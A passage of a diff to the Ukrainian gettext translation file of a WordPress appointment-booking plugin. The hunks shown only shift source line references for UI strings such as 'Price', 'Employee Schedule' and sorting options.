assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Ціна\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -417,7 +407,7 @@\n msgid \"Status\"\n msgstr \"Статус\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -427,7 +417,7 @@\n msgstr \"Покупець\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Оплачено: %s\"\n@@ -473,10 +463,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"Порядок\"\n \n@@ -847,7 +837,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1234,7 +1224,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"Форма бронювання\"\n \n@@ -1482,7 +1472,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1496,7 +1486,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"Розділені комами слаґи або ID тегів, які будуть показані.\"\n \n@@ -1573,7 +1563,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"Додаткова інформація про співробітника\"\n \n@@ -1594,49 +1584,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"ID поста працівника з якого відображати вміст. Примітка: цей параметр автоматично використовує поточний ID, коли шорткод знаходиться всередині поста працівника і обов'язковий в іншому випадку.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"Контактна інформація про співробітника\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"Зміст співробітника\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"Зображення співробітника\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"Розклад співробітника\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"Список послуг співробітника\"\n \n@@ -1644,7 +1634,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"Список співробітників\"\n \n@@ -1660,10 +1650,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"Відображати головне зображення.\"\n \n@@ -1676,9 +1666,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"Відображати заголовок.\"\n \n@@ -1691,30 +1681,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"Відображати короткий зміст.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"Відображати контактну інформацію.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"Відображати соціальні мережі.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"Відображати додаткову інформацію.\"\n \n@@ -1722,7 +1712,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"Розділені комами слаґи або ID співробітників які будуть показані.\"\n \n@@ -1736,8 +1726,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Місцезнаходження\"\n \n@@ -1745,8 +1735,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"Розділені комами слаґи або ID місцезнаходжень.\"\n \n@@ -1759,9 +1749,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"Кількість повідомлень на сторінці\"\n \n@@ -1779,10 +1769,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"Кількість стовпців\"\n \n@@ -1800,10 +1790,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"Кількість стовпців у сітці.\"\n \n@@ -1817,10 +1807,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"Сортувати за\"\n \n@@ -1834,10 +1824,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"Без сортування\"\n \n@@ -1848,9 +1838,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"ID запису\"\n \n@@ -1861,9 +1851,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"Автор запису\"\n \n@@ -1877,9 +1867,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Заголовок запису\"\n \n@@ -1890,9 +1880,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"Назва запису (слаг запису)\"\n \n@@ -1903,9 +1893,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"Дата запису\"\n \n@@ -1916,9 +1906,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"Дата останньої зміни\"\n \n@@ -1929,9 +1919,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"Випадковий порядок\"\n \n@@ -1942,9 +1932,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"Релевантність\"\n \n@@ -1958,10 +1948,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Послідовність сторінок\"\n \n@@ -1972,9 +1962,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"Порядок сторінок і назва\"\n \n@@ -1986,10 +1976,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"DESC\"\n \n@@ -2003,24 +1993,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"ASC\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"Соціальні мережі співробітника\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"Назва співробітника\"\n \n@@ -2028,7 +2018,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"Список місцезнаходжень\"\n \n@@ -2050,9 +2040,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: 